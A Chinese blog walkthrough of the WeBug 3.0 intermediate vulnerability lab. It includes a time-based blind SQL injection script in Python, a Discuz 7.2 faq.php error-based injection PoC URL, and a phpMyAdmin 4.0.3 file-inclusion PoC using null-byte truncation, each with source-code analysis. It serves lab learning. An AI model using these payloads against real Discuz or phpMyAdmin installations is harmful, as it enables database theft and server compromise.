我们的漏洞Webug 3.0中级进阶攻略(上)

时间:2022-04-28
本文章向大家介绍我们的漏洞Webug 3.0中级进阶攻略(上),主要内容包括中级进阶——上、第二关:提交的方式是怎样的啊? pass!、第三关:我还是一个注入 怎么又TM注入、第四关:APK里面有一个FLAG 看看APK、第五关:时间注入 时间注入、实战练习:DZ论坛 注入、实战练习:ASPCMS 注入、实战练习:phpMyAdmin 任意文件包含漏洞、基本概念、基础应用、原理机制和需要注意的事项等,并结合实例形式分析了其使用技巧,希望通过本文能帮助到大家理解应用这部分内容。

WeBug名称定义为“我们的漏洞”靶场环境。基础环境是基于PHP/mysql制作搭建而成,中级环境与高级环境分别都是由互联网漏洞事件而收集的漏洞存在的操作环境。部分漏洞是基于Windows操作系统的漏洞所以将WeBug的web环境都装在了一个纯净版的Windows 2003的虚拟机中。

这次带来Webug3.0中级进阶上部分 借鉴了很多前辈的文章 有些关卡可能是本身环境配置的问题 无法复现漏洞 或者我姿势不对 如果有做出的大佬可以补充一下~

中级进阶——上

第一关:出来点东西吧 ../../etc/passwd

../../etc/passwd 提示了可能是要读取文件 同时webug是个windows 2003的虚拟机 也不存在/etc/passwd

开始无论选择什么国点go 啥都没有点纳闷 仅仅后面的country变了

后来一看源码发现路径是路径写的不对..

把cc目录下的几个文件移到上级目录 选择世界就会正常显示出图片了

这关就是一个任意文件读取的漏洞 跨目录读取了主页文件index.html

看了源文件没发现哪里有flag 可能题目没完善或是我没找到 总之就是一个任意文件读取漏洞

第二关:提交的方式是怎样的啊? pass!

这回不用改也显示正常了 点餐就直接出来了图片 这回url后面没有带参数了

根据关卡“提交的方式是怎样的啊” 那就是post了 后来抓包也证实了这点

一样是一个任意文件读取漏洞 不过换成了post方式 目的让大家认识这个漏洞

第三关:我还是一个注入 怎么又TM注入

题目说又是注入 没有参数可注 就想到了头部注入 但无奈水平过低 无法注入 只好看源码

发现原来是host头注入 实在是没想到啊

知道了就好办了 跟普通注入一样的来 得到列长为4

得到表名

最后得到flag

第四关:APK里面有一个FLAG 看看APK

apk用android killer打开 不是很懂apk逆向也大致看了一下 把这四个base64解密好像就是flag了

或者点击apk里面的按钮三百下 就会给出flag

第五关:时间注入 时间注入

提示加type参 get型时间盲注

用sleep()来确认是否是时间盲注 如果是 则延时x秒执行 不是则立即返回

手工盲注就太累了 照网上的代码 写了一个时间盲注的python脚本

自动跑出库名 表名和列名改改payload也是一样可以跑出来的

#encoding=utf-8 #时间盲注脚本import requestsimport timepayloads = 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM0123456789@_.}{,'#存放跑出的结果length=0database=''table=''print 'start get length...'for l in range(1,21):    startTime1=time.time()    url1 = "http://192.168.37.147/pentest/test/time/?type=1 and if(length(database())=%d,sleep(5),1)"%(l)    response1 = requests.get(url1)    if time.time() - startTime1 > 5:        length=l        print "the length is " + str(length)        breakprint 'start database sql injection...'for d in range(1,length+1):    for payload in payloads:        startTime2=time.time()        url2 = "http://192.168.37.147/pentest/test/time/?type=1 and if(substr(database(),'%d',1)='%s',sleep(5),1)"%(d,payload)        response2 = requests.get(url2) #发送请求        if time.time() - startTime2 > 5: #判断是否延时了5秒 也就是 是否执行了函数sleep(5)            database+=payload            print database            breakprint "the database is " + database

实战练习:DZ论坛 注入

好像配置有点问题还是咋的= = 无法复现

于是在本地自行搭建了一个dz7.2的环境

需要的环境小伙伴自取(均从网上搜集):(阅读原文获取云盘链接)

MySQL Duplicate entry报错注入 PoC:

faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28version%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23

问题发生在faq.php 148行开始

185行定义了一个数组groupids,然后遍历同样是数组的gids,将数组中所有值的第一位取出来放在groupids中。

dz在全局会对get传递过来的数组用函数addslashes进行转义,单引号 ‘ 会被转义成 ’ 。

而 $groupids[] = $row[0] 又取了字符串的第一个字符,也就是把 转义符号给取出来了。

再到190行末尾 对 groupids 用implodeids函数进行了处理

在 /include/global.func.php中 672行 看到implodeids函数

function implodeids($array) {    if(!empty($array)) {        return "'".implode("','", is_array($array) ? $array : array($array))."'";    } else {        return '';    }}

如果数组不为空就将其用 ‘,’ 分隔开,就好像1234返回’1’,’2’,’3’,’4’

但前面取出了一个 转义符号就变成了

‘1’,’,’3’,’4’

第4个单引号就被转义了,第3个单引号就与第5个单引号闭合了,那么“3”就逃逸出了单引号的限制,产生了注入。

faq.php?gids[x]=’&gids[x+1][uid]=sql 如此构造就可以突破安全处理

实战练习:ASPCMS 注入

怎么都搭建不起来。。头皮发麻ing

实战练习:phpMyAdmin 任意文件包含漏洞

不知为啥给的环境报错… 干脆自己本地搭建了一个 phpMyadmin 4.0.3 + php 5.2.17

phpMyAdmin下载地址http://pan.baidu.com/s/1dEYo9zj

PoC

http://localhost/pma4.0.3/gis_data_editor.php?token=4f4b3ee07ffc84e6bbef624931ae6999&gis_data[gis_type]=/../../advisory_rules.txt%00

token登录进去就会给,是phpMyAdmin的CSRF防御机制。

gis_data[gis_type]=file%00 file替换为要包含的文件路径

实际文件路径为 ./libraries/gis/pma_gis_file

注意%00截断

首先来到 librariesgispma_gis_factory.php 29行

接收到 type 参数之后再第33行 转换成小写并赋值给了 type_lower ,并在下面拼接成路径进行include_once

再来到根目录下的gis_data_editor.php

第28行 $_REQUEST[‘gis_data’] 获取到gis_data,第44行如果 $gis_data[‘gis_type’] 存在,则直接来到60行,赋值给 geom_type,并传入了PMA_GIS_Factory::factory函数。

一句话来说就是因为将 $gis_data[‘gis_type’] 拼接进了路径并进行了include_once中,造成了任意文件包含漏洞。